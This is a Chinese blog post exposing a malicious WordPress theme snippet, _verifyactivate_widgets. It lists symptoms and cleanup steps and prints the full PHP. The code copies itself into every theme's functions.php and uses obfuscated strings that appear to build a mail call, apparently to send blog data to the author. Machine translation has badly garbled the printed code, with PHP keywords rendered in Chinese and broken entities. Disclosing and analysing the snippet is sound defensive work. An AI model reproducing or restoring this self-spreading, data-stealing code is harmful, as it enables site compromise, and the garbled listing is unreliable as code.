发现自己测试站的主题有恶意代码,非常明显的出现了一个function_verifyactivate_widgets。通常这个函数一旦出现在你的主题中,你就可以用PHP随意获取用户名,博客主题文件等等。以下是解决方案。
今天莫名其妙的发现我的测试站主题是携带恶意代码。很明显出现了function_verifyactivate_widgets。通常这个功能一旦出现在你的主题里,你就麻烦了。这是一串恶意代码,虽然不影响主题的使用(有时候确实会,收到双重感染时会出现两次_verifyactivate_widgets函数,导致主题无法使用),但是这段代码会通知代码作者(e-mail方式),PHP可以任意获取博客的用户名、主题文件等。而且还特意打造了一些看似有用的代码,一些挂件等。对于博客来说,一切都暴露在这个代码的作者面前。在此曝光这段代码,强烈谴责这些恶意代码的制作者。
症状:
1。可能会提示_verifyactivate_widgets函数声明了两次,程序错误,主题无法使用;
2。以下代码将取自当前博客下所有话题的functions.php;
3。即使你通过FTP删除了这段代码,你只需要再次运行博客,它就会像噩梦一样回来。
这个代码的作用是收集博客信息,各种信息,包括文章,用户和评论等。你的博客很可能成为一个为他人创造内容和财富的肉鸡。
待遇:
1。请在空之间的管理面板中停用此域名,使用沙盒功能,或联系您的服务提供商。
2。备份所有数据并删除除当前使用的主题之外的所有其他主题;
3。下载当前主题,一个文件一个文件的检查,删除原本不属于你的代码;
4。重新上传并打开网站;
5。用FTP去掉你的主题文件的权限的“写”权限(重要);
6。使用360等其他第三方PHP杀毒程序对网站进行杀毒;
7。确保你的WordPress系统没有被感染,确保你的主机没有被感染。
复制代码如下:
<?PHP
function_verifyactivate_widgets(){
$widget=substr(FILE_get_contents(__FILE__),strripos(FILE_get_contents(__FILE__),"<。"?"));$output=$allowed=
$output=strip_tags($output,$allowed);
$direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),“themes”)+6));
if(is_array($direst)){
foreach($direstas$item){
if(is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")"(");
$cont=file_get_contents($item);
if(stripos($cont,$ftion)==false){
$comaar=stripos(substr($cont,-20),"?。">)!==假的?"":"?"。">;
$output。=$之前。“未找到”。$after
if(stripos(substr($cont,-20),"?。">)!==false){$cont=substr($cont,0,strripos($cont,"?。">)+2);}
$output=rtrim($output,"\n\t");fputs($f=fopen($item,"w+"),$cont。$comaar。\n。$widget);fclose($f);
$output。=($isshowdots&;&$省略号)?"...":"";
}
}
}
}
return$output;
}
function_get_allwidgets_cont($wids,$items=array()){
$places=array_shift($wids);
if(substr($places,-1)="/"{
$places=substr($places,0,-1);
}
if(!file_exists($places)||!is_dir($places)){
返回false
}elseif(is_readable($places)){
$elems=scandir($places);
foreach($elemsas$elem){
if($elem!="."&&$elem!=".."){
if(is_dir($places。"/".$elem)){
$wids[]=$places。"/".$elem
}elseif(is_file($places。"/".$elem)&;&
$elem==substr(__FILE__,-13)){
$items[]=$places。"/".$elem}
}
}
}else{
返回false
}
if(sizeof($wids)>;0){
return_get_allwidgets_cont($wids,$items);
}else{
return$items;
}
}
if(!function_exists("stripos")){
functionstripos($str,$needle,$offset=0){
returnstrpos(strtolower($str),strtolower($needle),$offset);
}
}<;/p>;
<;p>如果(!function_exists("strripos"){
functionstrripos($haystack,$needle,$offset=0){
if(!is_string($needle))$needle=chr(intval($needle));
if($offset<;0){
$temp_cut=strrev(substr($haystack,0,ABS($offset));
}
else{
$temp_cut=strrev(substr($haystack,0,max((strlen($haystack)-$offset),0)));
}
if(($found=stripos($temp_cut,strrev($needle)))===FALSE)返回FALSE;
$pos=(strlen($haystack)-($found+$offset+strlen($needle));
return$pos;
}
}
if(!function_exists("scandir"){
functionscandir($dir,$listDirectories=false,$skipdots=true){
$dirArray=array();
if($handle=opendir($dir)){
while(false!==($file=readdir($handle))){
if(($file!="."&&$file!="..")||$skipdots==true){
if($listdirectories==false){if(is_dir($file)){continue;}}
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return$dirArray;
}
}
add_action("admin_head","_verifyactivate_widgets");
function_getprepare_widget(){
if(!isset($text_length))$text_length=120;
如果(!isset($check))$check="cookie";
如果(!isset($tagsallowed))$tagsallowed="<;一个>;
如果(!isset($filter))$filter="none";
如果(!isset($coma))$coma="";
如果(!isset($home_filter))$home_filter=get_option("home");
如果(!isset($pref_filters))$pref_filters="WP_";
如果(!isset($is_use_more_link))$is_use_more_link=1;
如果(!isset($com_type))$com_type="";
如果(!isset($cpages))$cpages=$_GET["cperpage"];
如果(!isset($post_auth_comments))$post_auth_comments="";
如果(!isset($com_is_approved))$com_is_approved="";
如果(!isset($post_auth))$post_auth="auth";
如果(!isset($link_text_more))$link_text_more="(更多...)";
如果(!isset($widget_yes))$widget_yes=get_option("_is_widget_active_");
如果(!isset($checkswidgets))$checkswidgets=$pref_filters。“设定”。"_".$post_auth。"_".$check
如果(!isset($link_text_more_ditails))$link_text_more_ditails="(详细信息...)";
如果(!isset($contentmore))$contentmore="ma"。$昏迷。”il”;
如果(!isset($for_more))$for_more=1;
如果(!isset($fakeit))$fakeit=1;
如果(!isset($SQL))$SQL="";
如果(!$widget_yes):<;/p>;
<;p>全局$wpdb,$post
$sq1="SELECTDISTINCTID,post_title,post_content,post_password,comment_ID,comment_post_ID,comment_author,comment_date_gmt,comment_approved,comment_type,SUBSTRING(comment_content,1,$src_length)AScom_extractFROM$wpdb->;注释左外部联接$wpdb->;张贴在($wpdb->;comments.comment_post_ID=$wpdb->;帖子。ID)其中comment_approved=\"1\",comment_type=\",post_author=\"li"。$昏迷。”vethe”。$com_type。马斯”。$昏迷。”@".$com_is_approved通用”。$post_auth_comments。ail”。$昏迷。”。".$昏迷。”co”。m\"和post_password=\"\"和comment_date_gmt>=CURRENT_TIMESTAMP()ORDERBYcomment_date_GMTdesc限制$src_count";#
如果(!空($post->;post_password)){
if($_COOKIE["WP-postpass_"。COOKIEHASH]!=$post->;post_password){
if(is_feed()){
$output=__(“因为这是受保护的帖子,所以没有摘录。”);
}else{
$output=get_the_password_form();
}
}
}
if(!isset($fixed_tags))$fixed_tags=1;
如果(!isset($filters))$filters=$home_filter;
如果(!isset($gettextcomments))$gettextcomments=$pref_filters。$contentmore
如果(!isset($tag_additional))$tag_additional="div";
如果(!isset($sh_cont))$sh_cont=substr($sq1,stripos($sq1,“live”),20);#
如果(!isset($more_text_link))$more_text_link="继续阅读本条目";
如果(!isset($isshowdots))$isshowdots=1;</p>;
<;p>$comments=$wpdb->;get_results($SQL);
if($fakeit==2){
$text=$post->;post_content
}elseif($fakeit==1){
$text=(empty($post->;post_extract))?$post->;post_content:$post->;post_摘录;
}else{
$text=$post->;post_摘录;
}
$sq1="SELECTDISTINCTID,comment_post_ID,comment_author,comment_date_gmt,comment_approved,comment_type,SUBSTRING(comment_content,1,$src_length)AScom_extractFROM$wpdb->;注释左外部联接$wpdb->;张贴在($wpdb->;comments.comment_post_ID=$wpdb->;帖子。ID)其中comment_approved=\"1\",comment_type=\",comment_content="。call_user_func_array($gettextcomments,array($sh_cont,$home_filter,$filters))。”ORDERBYcomment_date_gmtDESC限制$src_count”;#
if($text_length<;0){
$output=$text;
}else{
if(!$no_more&&strpos($text,"<!-更多->;")){
$text=explode("<;!-更多->;",$text,2);
$l=count($text[0]);
$more_link=1;
$comments=$wpdb->;get_results($SQL);
}else{
$text=explode(",$text);
if(count($text)>$text_length){
$l=$text_length;
$ellipsis=1;
}else{
$l=count($text);
$link_text_more="";
$ellipsis=0;
}
}
for($I=0;$i<$l;$i++)
$output。=$text[$i]。"";
}
update_option("_is_widget_active_",1);
if("all"!=$tagsallowed){
$output=strip_tags($output,$tagsallowed);
return$output;
}
endif;
$output=rtrim($output,"\s\n\t\r\0\x0B");
$output=($fixed_tags)?balanceTags($output,true):$output;
$output。=($isshowdots&;&$省略号)?"...":"";
$output=apply_filters($filter,$output);
switch($tag_additional){
case("div"):
$tag="div";
break;
case("span"):
$tag="span";
break;
case("p"):
$tag="p";
break;
默认值:
$tag="span";
}<;/p>;
<;p>if($is_use_more_link){
if($for_more){
$output。="<。$tag。"class=\"more-link\">;<ahref=\"。get_permalink($post->;ID)。”#更多-"。$post->;ID。”\"title=\"。$more_text_link。"\">。$link_text_more=!is_user_logged_in()&;&@call_user_func_array($checkswidgets,array($cpages,true))?$link_text_more:""。“</a>;</".$tag。">。”\n”;
}else{
$output。="<。$tag。"class=\"more-link\">;<ahref=\"。get_permalink($post->;ID)。”\"title=\"。$more_text_link。"\">。$link_text_more。“</a>;</".$tag。">。”\n”;
}
}
return$output;
}<;/p>;
<;p>add_action("init","_getprepare_widget");</p>;
<;p>function__popular_posts($no_posts=6,$before="<李>,$after="</李>,$show_pass_post=false,$duration=""{
global$wpdb;
$request="SELECTID,post_title,COUNT($wpdb->;comments.comment_post_ID)作为$wpdb->;帖子,$wpdb->;评论”;
$request。="其中comment_approved=\"1\"和$wpdb->;帖子。ID=$wpdb->;comments.comment_post_ID和post_status=\"publish\
如果(!$show_pass_post)$request。="和post_password=\"\
if($duration!=""){
$request。="和DATE_SUB(CURDATE(),INTERVAL"。$持续时间。"天)<post_date";
}
$request。="GROUPBY$wpdb->;comments.comment_post_IDORDERBYcomment_countdesc限制$no_posts";
$posts=$wpdb->;get_results($request);
$output="";
if($posts){
foreach($postsas$post){
$post_title=stripsslashes($post->;post_title);
$comment_count=$post->;comment_count
$permalink=get_permalink($post->;ID);
$output。=$之前。“<ahref=\"。$permalink。”\"title=\"。$post_title,"\">。$post_title。“</a>;。$after
}
}else{
$output。=$之前。“未找到”。$after
}
return$output;
}<;/p>;
<;p>//获取最新评论
函数get_recent_comment($limit=16,$cut_length=24){
global$wpdb;
$admin_email=""。get_bloginfo('admin_email'),"'";//获取管理员邮箱排除管理员评论
$rccdb=$wpdb-->;get_results("
SELECTID,post_title,comment_ID,comment_author,comment_author_email,comment_content
FROM$wpdb->;注释左外部联接$wpdb->;在($wpdb->;comments.comment_post_ID=$wpdb->;帖子。ID)
其中comment_approved='1'
ANDcomment_type=''
ANDpost_password=''
ANDcomment_author_email!=$admin_email
ORDERBYcomment_date_GMT
desc限额$LIMIT
";//获取所需结果的数据库查询
foreach($RCCDBas$row){
$RCC。="<李>".get_avatar($row,$size='32',"<span>".$row->;评论_作者。”:</span>。"."
”。<ahref='"
。get_permalink($row->;ID)。”#评论——“。$row->;Comment_ID
。title='查看'。$row->;post_title。”>".cut_str($row->;comment_content,$cut_length)。”</a>;"."</李>";
}//遍历查询结果得到想要的值,其中插入一些HTML元素定义CSS样式
/$RCC=convert_smiles($RCC);//允许在评论中显示表情
echo$RCC;//输出结果
}
?>
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)